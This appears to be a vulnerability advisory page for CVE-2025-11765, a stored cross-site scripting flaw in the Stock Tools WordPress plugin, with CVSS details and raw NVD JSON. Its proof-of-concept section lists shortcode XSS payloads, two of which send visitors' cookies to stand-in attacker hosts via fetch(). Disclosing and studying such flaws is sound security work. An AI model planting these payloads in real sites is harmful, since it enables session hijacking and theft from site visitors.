Security Vulnerability Report
中文
CVE-2025-11765 CVSS 6.4 MEDIUM

CVE-2025-11765

Published: 2025-11-21 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Stock Tools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'image_height' and 'image_width' shortcode attributes in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Stock Tools插件 <= 1.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Stock Tools Plugin XSS PoC --> <!-- Author: Wordfence Security Team --> <!-- CVE: CVE-2025-11765 --> <!-- PoC 1: Basic XSS via image_height attribute --> [stock_tools image_height='100" onerror="alert(document.cookie)" x="'] <!-- PoC 2: XSS via image_width attribute --> [stock_tools image_width='200'><script>alert('XSS')</script><x y='] <!-- PoC 3: Combined attributes --> [stock_tools image_height='100' image_width='200" onload="fetch('https://attacker.com/steal?c='+document.cookie)" x="'] <!-- PoC 4: Cookie stealing payload --> [stock_tools image_height='100'><img src=x onerror="fetch('https://malicious-site.com/log?cookie='+btoa(document.cookie))">] <!-- Usage: Insert any of the above shortcodes into a WordPress post/page --> <!-- The XSS will execute when any user views the page --> <!-- Example HTML output (vulnerable): --> <!-- <div class="stock-tools" style="height:100" onerror="alert(document.cookie)" x=""></div> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11765", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:49.377", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Stock Tools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'image_height' and 'image_width' shortcode attributes in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/stock-tools/tags/1.1/stock-tools.php#L67", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d852dba-39ea-4cc9-9fcf-7f2ac3e1b5d0?source=cve", "source": "[email protected]"}]}}